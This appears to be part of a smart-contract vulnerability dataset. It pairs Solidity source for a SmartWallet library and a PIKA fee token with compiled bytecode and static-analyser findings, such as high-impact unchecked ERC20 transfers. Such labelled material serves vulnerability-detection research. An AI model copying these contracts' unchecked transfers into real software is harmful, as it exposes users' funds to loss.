@param _withdrawalCoolingPeriod Cooling period in seconds
*/
function setWithdrawalCoolingPeriod(uint _withdrawalCoolingPeriod)
ownerOnly()
public
{
require (_withdrawalCoolingPeriod <= maxWithdrawalCoolingPeriod &&
_withdrawalCoolingPeriod >= minWithdrawalCoolingPeriod);
withdrawalCoolingPeriod = _withdrawalCoolingPeriod;
emit SetWithdrawalCoolingPeriod(_withdrawalCoolingPeriod);
}
/*
@dev Fire the WithdrawalRequested event.
@param _sender The user account, activating this request
@param _smartWallet The smart wallet that the request was called upon
*/
function emitWithrawalRequestEvent(address _sender, address _smartWallet)
public
{
emit WithdrawalRequested(_sender, _smartWallet);
}
}
library SmartWalletLib {
/*
* Structs
*/
struct Wallet {
address operatorAccount;
address userWithdrawalAccount;
address feesAccount;
uint withdrawAllowedAt; // In seconds
}
/*
* Members
*/
string constant VERSION = "1.1";
address constant withdrawalConfigurationsContract = 0xDdD336eAad17F1D40cc81997Fb956608f00639FF;
/*
* Modifiers
*/
modifier validAddress(address _address) {
require(_address != 0x0);
_;
}
modifier addressNotSet(address _address) {
require(_address == 0);
_;
}
modifier operatorOnly(address _operatorAccount) {
require(msg.sender == _operatorAccount);
_;
}
modifier userWithdrawalAccountOnly(Wallet storage _self) {
require(msg.sender == _self.userWithdrawalAccount);
_;
}
/*
* Events
*/
event TransferToUserWithdrawalAccount(address _token, address _userWithdrawalAccount, uint _amount, address _feesToken, address _feesAccount, uint _fee);
event SetUserWithdrawalAccount(address _userWithdrawalAccount);
event PerformUserWithdraw(address _token, address _userWithdrawalAccount, uint _amount);
/*
@dev Initialize the wallet with the operator and backupAccount address
@param _self Wallet storage
@param _operator The operator account
@param _feesAccount The account to transfer fees to
*/
function initWallet(Wallet storage _self, address _operator, address _feesAccount)
public
validAddress(_operator)
validAddress(_feesAccount)
{
_self.operatorAccount = _operator;
_self.feesAccount = _feesAccount;
}
/*
@dev Setting the account of the user to send funds to.
@param _self Wallet storage
@param _userWithdrawalAccount The user account to withdraw funds to
*/
function setUserWithdrawalAccount(Wallet storage _self, address _userWithdrawalAccount)
public
operatorOnly(_self.operatorAccount)
validAddress(_userWithdrawalAccount)
addressNotSet(_self.userWithdrawalAccount)
{
_self.userWithdrawalAccount = _userWithdrawalAccount;
emit SetUserWithdrawalAccount(_userWithdrawalAccount);
}
/*
@dev Withdraw funds to the user account.
@param _self Wallet storage
@param _token The ERC20 token the owner withdraws from
@param _amount Amount to transfer
@param _fee Fee to transfer
*/
function transferToUserWithdrawalAccount(Wallet storage _self, IERC20Token _token, uint _amount, IERC20Token _feesToken, uint _fee)
public
operatorOnly(_self.operatorAccount)
validAddress(_self.userWithdrawalAccount)
{
if (_fee > 0) {
_feesToken.transfer(_self.feesAccount, _fee);
}
_token.transfer(_self.userWithdrawalAccount, _amount);
emit TransferToUserWithdrawalAccount(_token, _self.userWithdrawalAccount, _amount, _feesToken, _self.feesAccount, _fee);
}
/*
@dev returns the sum of _x and _y, asserts if the calculation overflows
@param _x value 1
@param _y value 2
@return sum
*/
function safeAdd(uint256 _x, uint256 _y) internal pure returns (uint256) {
uint256 z = _x + _y;
assert(z >= _x);
return z;
}
/*
@dev user request withdraw.
@param _self Wallet storage
@param _token The ERC20 token the owner withdraws from
*/
function requestWithdraw(Wallet storage _self)
public
userWithdrawalAccountOnly(_self)
{
WithdrawalConfigurations withdrawalConfigurations = WithdrawalConfigurations(withdrawalConfigurationsContract);
_self.withdrawAllowedAt = safeAdd(now, withdrawalConfigurations.getWithdrawalCoolingPeriod());
withdrawalConfigurations.emitWithrawalRequestEvent(msg.sender, address(this));
}
/*
@dev user perform withdraw.
@param _self Wallet storage
@param _token The ERC20 token the owner withdraws from
*/
function performUserWithdraw(Wallet storage _self, IERC20Token _token)
public
userWithdrawalAccountOnly(_self)
{
require(_self.withdrawAllowedAt != 0 &&
_self.withdrawAllowedAt <= now );
uint userBalance = _token.balanceOf(this);
_token.transfer(_self.userWithdrawalAccount, userBalance);
emit PerformUserWithdraw(_token, _self.userWithdrawalAccount, userBalance);
}
}
contract SmartWallet {
/*
* Members
*/
using SmartWalletLib for SmartWalletLib.Wallet;
SmartWalletLib.Wallet public wallet;
// Wallet public wallet;
/*
* Events
*/
event TransferToUserWithdrawalAccount(address _token, address _userWithdrawalAccount, uint _amount, address _feesToken, address _feesAccount, uint _fee);
event SetUserWithdrawalAccount(address _userWithdrawalAccount);
event PerformUserWithdraw(address _token, address _userWithdrawalAccount, uint _amount);
/*
@dev constructor
@param _backupAccount A default operator's account to send funds to, in cases where the user account is
unavailable or lost
@param _operator The contract operator address
@param _feesAccount The account to transfer fees to
*/
constructor (address _operator, address _feesAccount) public {
wallet.initWallet(_operator, _feesAccount);
}
/*
@dev Setting the account of the user to send funds to.
@param _userWithdrawalAccount The user account to withdraw funds to
*/
function setUserWithdrawalAccount(address _userWithdrawalAccount) public {
wallet.setUserWithdrawalAccount(_userWithdrawalAccount);
}
/*
@dev Withdraw funds to the user account.
@param _token The ERC20 token the owner withdraws from
@param _amount Amount to transfer
*/
function transferToUserWithdrawalAccount(IERC20Token _token, uint _amount, IERC20Token _feesToken, uint _fee) public {
wallet.transferToUserWithdrawalAccount(_token, _amount, _feesToken, _fee);
}
/*
@dev Allows the user to request a withdraw of his/her placements
@param _token The ERC20 token the user wishes to withdraw from
*/
function requestWithdraw() public {
wallet.requestWithdraw();
}
/*
@dev Allows the user to perform the requestWithdraw operation
@param _token The ERC20 token the user withdraws from
*/
function performUserWithdraw(IERC20Token _token) public {
wallet.performUserWithdraw(_token);
}
}
|
0x60806040526004361061006c5763ffffffff7c01000000000000000000000000000000000000000000000000000000006000350416631d9082c48114610071578063521eb273146100a15780639219baa4146100eb578063b3423eec1461010c578063fe35530c14610121575b600080fd5b34801561007d57600080fd5b5061009f600160a060020a036004358116906024359060443516606435610142565b005b3480156100ad57600080fd5b506100b66101ee565b60408051600160a060020a03958616815293851660208501529190931682820152606082019290925290519081900360800190f35b3480156100f757600080fd5b5061009f600160a060020a0360043516610211565b34801561011857600080fd5b5061009f6102a4565b34801561012d57600080fd5b5061009f600160a060020a0360043516610327565b604080517f1557a52f000000000000000000000000000000000000000000000000000000008152600060048201819052600160a060020a03808816602484015260448301879052851660648301526084820184905291517374ba8c8f53809bd3baa0c243350cb989f6c9dc3c92631557a52f9260a48082019391829003018186803b1580156101d057600080fd5b505af41580156101e4573d6000803e3d6000fd5b5050505050505050565b600054600154600254600354600160a060020a0393841693928316929091169084565b604080517fb2d07945000000000000000000000000000000000000000000000000000000008152600060048201819052600160a060020a038416602483015291517374ba8c8f53809bd3baa0c243350cb989f6c9dc3c9263b2d079459260448082019391829003018186803b15801561028957600080fd5b505af415801561029d573d6000803e3d6000fd5b5050505050565b604080517f3be5e49f00000000000000000000000000000000000000000000000000000000815260006004820181905291517374ba8c8f53809bd3baa0c243350cb989f6c9dc3c92633be5e49f9260248082019391829003018186803b15801561030d57600080fd5b505af4158015610321573d6000803e3d6000fd5b50505050565b604080517f2eb9e5d7000000000000000000000000000000000000000000000000000000008152600060048201819052600160a060020a038416602483015291517374ba8c8f53809bd3baa0c243350cb989f6c9dc3c92632eb9e5d79260448082019391829003018186803b15801561028957600080fd00a165627a7a723058205073597116b7b71c0560d912d3593a9c23c16b370d182ba2ea2d28defe0ce4b30029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}]}}
| 8,013 |
0x075fbc0a804de702bfda4d8e29834c763ffef1c3
|
/**
*Submitted for verification at Etherscan.io on 2021-05-08
*/
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.7.6;
library SafeMath
{
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
function ceil(uint a, uint m) internal pure returns (uint r) {
return (a + m - 1) / m * m;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
contract Owned is Context
{
modifier onlyOwner() virtual{
require(_msgSender()==owner);
_;
}
address payable owner;
address payable newOwner;
function changeOwner(address payable _newOwner) external onlyOwner {
require(_newOwner!=address(0));
newOwner = _newOwner;
}
function acceptOwnership() external {
if (_msgSender()==newOwner) {
owner = newOwner;
}
}
}
interface ERC20
{
function balanceOf(address _owner) view external returns (uint256 balance);
function transfer(address _to, uint256 _value) external returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) external returns (bool success);
function approve(address _spender, uint256 _value) external returns (bool success);
function allowance(address _owner, address _spender) view external returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
contract PIKA is Context,Owned, ERC20 {
using SafeMath for uint256;
uint256 public _taxFee;
uint256 public totalSupply;
string public symbol;
string public name;
uint8 public decimals;
uint256 private _taxFeepercent = 225;
IUniswapV2Router02 public immutable uniswapV2Router;
address public immutable uniswapV2Pair;
mapping (address => bool) private _isExcludedFromFee;
uint256 public ContractDeployed;
address oldPika = 0xE09fB60E8D6e7E1CEbBE821bD5c3FC67a40F86bF;
uint256 public oldPika_amount;
uint256 private minamountTakenOut = 1000000 *10**9 * 10 **9;
uint256 private MinimumSupply = 100000000 *10**9 * 10**9;
mapping (address=>uint256) balances;
mapping (address=>mapping (address=>uint256)) allowed;
event TransferFee(address indexed _from, address indexed _to, uint256 _value);
function balanceOf(address _owner) view public override returns (uint256 balance) {return balances[_owner];}
function transfer(address _to, uint256 _amount) public override returns (bool success) {
_transfer(_msgSender(), _to, _amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool success) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = allowed[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
_approve(sender, _msgSender(), currentAllowance - amount);
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
if(_isExcludedFromFee[sender] || _isExcludedFromFee[recipient])
{
uint256 senderBalance = balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
balances[sender] = senderBalance - amount;
balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
}
else
{
uint256 _Fee = calSwapToken(amount,_taxFeepercent);
_taxFee += _Fee;
if(_taxFee >= minamountTakenOut )
{
swapTokensForEth(_taxFee);
}
uint256 senderBalance = balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
balances[sender] = senderBalance - amount;
balances[recipient] += amount-_Fee ;
emit Transfer(sender, recipient, amount-_Fee);
}
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
allowed[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function allowance(address _owner, address _spender) view public override returns (uint256 remaining) {
return allowed[_owner][_spender];
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
uint256 accountBalance = balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
balances[account] = accountBalance - amount;
totalSupply -= amount;
emit Transfer(account, address(0), amount);
}
function swapTokensForEth(uint256 tokenAmount) private {
// generate the uniswap pair path of token -> weth
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
// make the swap
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0, // accept any amount of ETH
path,
owner,
block.timestamp
);
_taxFee =0;
}
function viewMinExtractAmt() public view returns(uint256){
return minamountTakenOut;
}
function setMinExtractAmt(uint256 _amount) public onlyOwner() {
minamountTakenOut = _amount;
}
function viewFee() public view returns(uint256){
return _taxFeepercent ;
}
function exchnagePika(uint256 tokens)external{
require(tokens <= PIKA(address(this)).balanceOf(address(this)), "Not enough tokens in the reserve");
require(ERC20(oldPika).transferFrom(_msgSender(), address(this), tokens), "Tokens cannot be transferred from user account");
uint256 time = block.timestamp - ContractDeployed;
uint256 day = time.div(86400);
require(day <= 4, "Sorry Swaping Time Period is finished");
if(tokens < 10000000000 * 10**9 * 10**9)
{
uint256 extra = calSwapToken(tokens,500);
PIKA(address(this)).transfer(_msgSender(), tokens.add(extra));
}
else if ( (tokens >= 10000000000 * 10**9 * 10**9) && (tokens < 100000000000 * 10**9 * 10**9))
{
uint256 extra = calSwapToken(tokens,250);
PIKA(address(this)).transfer(_msgSender(), tokens.add(extra));
}
else if( tokens >= 100000000000 * 10**9 * 10**9 )
{
uint256 extra = calSwapToken(tokens,100);
PIKA(address(this)).transfer(_msgSender(), tokens.add(extra));
}
oldPika_amount = oldPika_amount.add(tokens);
}
function extractOldPIKA() external onlyOwner(){
ERC20(oldPika).transfer(_msgSender(), oldPika_amount);
oldPika_amount = 0;
}
function extractfee() external onlyOwner(){
PIKA(address(this)).transfer(_msgSender(), _taxFee);
_taxFee = 0;
}
function calSwapToken(uint256 _tokens, uint256 cust) internal virtual returns (uint256) {
uint256 custPercentofTokens = _tokens.mul(cust).div(100 * 10**uint(2));
return custPercentofTokens;
}
function burn(uint256 value) public returns(bool flag) {
if(totalSupply >= MinimumSupply)
{
_burn(_msgSender(), value);
return true;
}
else
return false;
}
function viewMinSupply()public view returns(uint256) {
return MinimumSupply;
}
function changeMinSupply(uint256 newMinSupply)onlyOwner() public{
MinimumSupply = newMinSupply;
}
function addLiquidity(uint256 tokenAmount) public payable onlyOwner() {
// approve token transfer to cover all possible scenarios
_approve(address(this), address(uniswapV2Router), tokenAmount);
// add the liquidity
uniswapV2Router.addLiquidityETH{value: msg.value}(
address(this),
tokenAmount,
0,
0, // slippage is unavoidable
owner,
block.timestamp
);
}
constructor() {
symbol = "PIKA";
name = "PIKA";
decimals = 18;
totalSupply = 50000000000000 * 10**9 * 10**9; //50 trillion
owner = _msgSender();
balances[owner] = totalSupply;
_isExcludedFromFee[owner] = true;
_isExcludedFromFee[address(this)] = true;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router = _uniswapV2Router;
ContractDeployed = block.timestamp;
}
receive () payable external {
require(msg.value>0);
owner.transfer(msg.value);
}
}
|
0x6080604052600436106101855760003560e01c806370a08231116100d1578063a3e4c6b21161008a578063c0714db711610064578063c0714db71461056f578063daf2a11914610599578063dd62ed3e146105ae578063ee4a7719146105e9576101d4565b8063a3e4c6b2146104ee578063a6f9dae114610503578063a9059cbb14610536576101d4565b806370a082311461043d57806379ba5097146104705780637af6942f146104855780637c6ae5ac1461049a57806387b19283146104af57806395d89b41146104d9576101d4565b8063313ce5671161013e57806349bd5a5e1161011857806349bd5a5e146103e157806349e42c2a146103f657806351c6590a1461040b57806355b8ff3714610428576101d4565b8063313ce567146103775780633b124fe7146103a257806342966c68146103b7576101d4565b806306fdde03146101d9578063095ea7b3146102635780630be2e3b5146102b05780631694505e146102dc57806318160ddd1461030d57806323b872dd14610334576101d4565b366101d4576000341161019757600080fd5b600080546040516001600160a01b03909116913480156108fc02929091818181858888f193505050501580156101d1573d6000803e3d6000fd5b50005b600080fd5b3480156101e557600080fd5b506101ee6105fe565b6040805160208082528351818301528351919283929083019185019080838360005b83811015610228578181015183820152602001610210565b50505050905090810190601f1680156102555780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561026f57600080fd5b5061029c6004803603604081101561028657600080fd5b506001600160a01b03813516906020013561068c565b604080519115158252519081900360200190f35b3480156102bc57600080fd5b506102da600480360360208110156102d357600080fd5b50356106aa565b005b3480156102e857600080fd5b506102f16106d6565b604080516001600160a01b039092168252519081900360200190f35b34801561031957600080fd5b506103226106fa565b60408051918252519081900360200190f35b34801561034057600080fd5b5061029c6004803603606081101561035757600080fd5b506001600160a01b03813581169160208101359091169060400135610700565b34801561038357600080fd5b5061038c6107af565b6040805160ff9092168252519081900360200190f35b3480156103ae57600080fd5b506103226107b8565b3480156103c357600080fd5b5061029c600480360360208110156103da57600080fd5b50356107be565b3480156103ed57600080fd5b506102f16107ed565b34801561040257600080fd5b50610322610811565b6102da6004803603602081101561042157600080fd5b5035610817565b34801561043457600080fd5b5061032261092c565b34801561044957600080fd5b506103226004803603602081101561046057600080fd5b50356001600160a01b0316610932565b34801561047c57600080fd5b506102da61094d565b34801561049157600080fd5b50610322610995565b3480156104a657600080fd5b506102da61099b565b3480156104bb57600080fd5b506102da600480360360208110156104d257600080fd5b5035610a4c565b3480156104e557600080fd5b506101ee610deb565b3480156104fa57600080fd5b506102da610e46565b34801561050f57600080fd5b506102da6004803603602081101561052657600080fd5b50356001600160a01b0316610f02565b34801561054257600080fd5b5061029c6004803603604081101561055957600080fd5b506001600160a01b038135169060200135610f5e565b34801561057b57600080fd5b506102da6004803603602081101561059257600080fd5b5035610f72565b3480156105a557600080fd5b50610322610f9e565b3480156105ba57600080fd5b50610322600480360360408110156105d157600080fd5b506001600160a01b0381358116916020013516610fa4565b3480156105f557600080fd5b50610322610fcf565b6005805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156106845780601f1061065957610100808354040283529160200191610684565b820191906000526020600020905b81548152906001019060200180831161066757829003601f168201915b505050505081565b60006106a0610699610fd5565b8484610fd9565b5060015b92915050565b6000546001600160a01b03166106be610fd5565b6001600160a01b0316146106d157600080fd5b600c55565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d81565b60035481565b600061070d8484846110c5565b6001600160a01b0384166000908152600f602052604081208161072e610fd5565b6001600160a01b03166001600160a01b03168152602001908152602001600020549050828110156107905760405162461bcd60e51b81526004018080602001828103825260288152602001806119106028913960400191505060405180910390fd5b6107a48561079c610fd5565b858403610fd9565b506001949350505050565b60065460ff1681565b60025481565b6000600d54600354106107e4576107dc6107d6610fd5565b8361134d565b5060016107e8565b5060005b919050565b7f000000000000000000000000e9c9fed362acae850cb9499c48df448e1bff50f381565b600d5490565b6000546001600160a01b031661082b610fd5565b6001600160a01b03161461083e57600080fd5b610869307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d83610fd9565b600080546040805163f305d71960e01b8152306004820152602481018590526044810184905260648101939093526001600160a01b0391821660848401524260a4840152517f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d9091169163f305d71991349160c48082019260609290919082900301818588803b1580156108fc57600080fd5b505af1158015610910573d6000803e3d6000fd5b50505050506040513d606081101561092757600080fd5b505050565b600b5481565b6001600160a01b03166000908152600e602052604090205490565b6001546001600160a01b0316610961610fd5565b6001600160a01b0316141561099357600154600080546001600160a01b0319166001600160a01b039092169190911790555b565b60075490565b6000546001600160a01b03166109af610fd5565b6001600160a01b0316146109c257600080fd5b3063a9059cbb6109d0610fd5565b6002546040518363ffffffff1660e01b815260040180836001600160a01b0316815260200182815260200192505050602060405180830381600087803b158015610a1957600080fd5b505af1158015610a2d573d6000803e3d6000fd5b505050506040513d6020811015610a4357600080fd5b50506000600255565b604080516370a0823160e01b8152306004820181905291516370a0823191602480820192602092909190829003018186803b158015610a8a57600080fd5b505afa158015610a9e573d6000803e3d6000fd5b505050506040513d6020811015610ab457600080fd5b5051811115610b0a576040805162461bcd60e51b815260206004820181905260248201527f4e6f7420656e6f75676820746f6b656e7320696e207468652072657365727665604482015290519081900360640190fd5b600a546001600160a01b03166323b872dd610b23610fd5565b30846040518463ffffffff1660e01b815260040180846001600160a01b03168152602001836001600160a01b031681526020018281526020019350505050602060405180830381600087803b158015610b7b57600080fd5b505af1158015610b8f573d6000803e3d6000fd5b505050506040513d6020811015610ba557600080fd5b5051610be25760405162461bcd60e51b815260040180806020018281038252602e81526020018061197e602e913960400191505060405180910390fd5b60095442036000610bf6826201518061144d565b90506004811115610c385760405162461bcd60e51b81526004018080602001828103825260258152602001806118a46025913960400191505060405180910390fd5b6b204fce5e3e25026110000000831015610ced576000610c5a846101f4611496565b90503063a9059cbb610c6a610fd5565b610c7487856114b7565b6040518363ffffffff1660e01b815260040180836001600160a01b0316815260200182815260200192505050602060405180830381600087803b158015610cba57600080fd5b505af1158015610cce573d6000803e3d6000fd5b505050506040513d6020811015610ce457600080fd5b50610dd6915050565b6b204fce5e3e250261100000008310158015610d1557506c01431e0fae6d7217caa000000083105b15610d27576000610c5a8460fa611496565b6c01431e0fae6d7217caa00000008310610dd6576000610d48846064611496565b90503063a9059cbb610d58610fd5565b610d6287856114b7565b6040518363ffffffff1660e01b815260040180836001600160a01b0316815260200182815260200192505050602060405180830381600087803b158015610da857600080fd5b505af1158015610dbc573d6000803e3d6000fd5b505050506040513d6020811015610dd257600080fd5b5050505b600b54610de390846114b7565b600b55505050565b6004805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156106845780601f1061065957610100808354040283529160200191610684565b6000546001600160a01b0316610e5a610fd5565b6001600160a01b031614610e6d57600080fd5b600a546001600160a01b031663a9059cbb610e86610fd5565b600b546040518363ffffffff1660e01b815260040180836001600160a01b0316815260200182815260200192505050602060405180830381600087803b158015610ecf57600080fd5b505af1158015610ee3573d6000803e3d6000fd5b505050506040513d6020811015610ef957600080fd5b50506000600b55565b6000546001600160a01b0316610f16610fd5565b6001600160a01b031614610f2957600080fd5b6001600160a01b038116610f3c57600080fd5b600180546001600160a01b0319166001600160a01b0392909216919091179055565b60006106a0610f6b610fd5565b84846110c5565b6000546001600160a01b0316610f86610fd5565b6001600160a01b031614610f9957600080fd5b600d55565b60095481565b6001600160a01b039182166000908152600f6020908152604080832093909416825291909152205490565b600c5490565b3390565b6001600160a01b03831661101e5760405162461bcd60e51b81526004018080602001828103825260248152602001806119ac6024913960400191505060405180910390fd5b6001600160a01b0382166110635760405162461bcd60e51b81526004018080602001828103825260228152602001806118826022913960400191505060405180910390fd5b6001600160a01b038084166000818152600f6020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b6001600160a01b03831661110a5760405162461bcd60e51b81526004018080602001828103825260258152602001806119596025913960400191505060405180910390fd5b6001600160a01b03821661114f5760405162461bcd60e51b815260040180806020018281038252602381526020018061183d6023913960400191505060405180910390fd5b6001600160a01b03831660009081526008602052604090205460ff168061118e57506001600160a01b03821660009081526008602052604090205460ff165b15611256576001600160a01b0383166000908152600e6020526040902054818110156111eb5760405162461bcd60e51b81526004018080602001828103825260268152602001806118c96026913960400191505060405180910390fd5b6001600160a01b038085166000818152600e602090815260408083208787039055938716808352918490208054870190558351868152935191937fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929081900390910190a350610927565b600061126482600754611496565b60028054820190819055600c549192501061128457611284600254611511565b6001600160a01b0384166000908152600e6020526040902054828110156112dc5760405162461bcd60e51b81526004018080602001828103825260268152602001806118c96026913960400191505060405180910390fd5b6001600160a01b038086166000818152600e6020908152604080832088870390559388168083529184902080548789039081019091558451908152935191937fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929081900390910190a35050505050565b6001600160a01b0382166113925760405162461b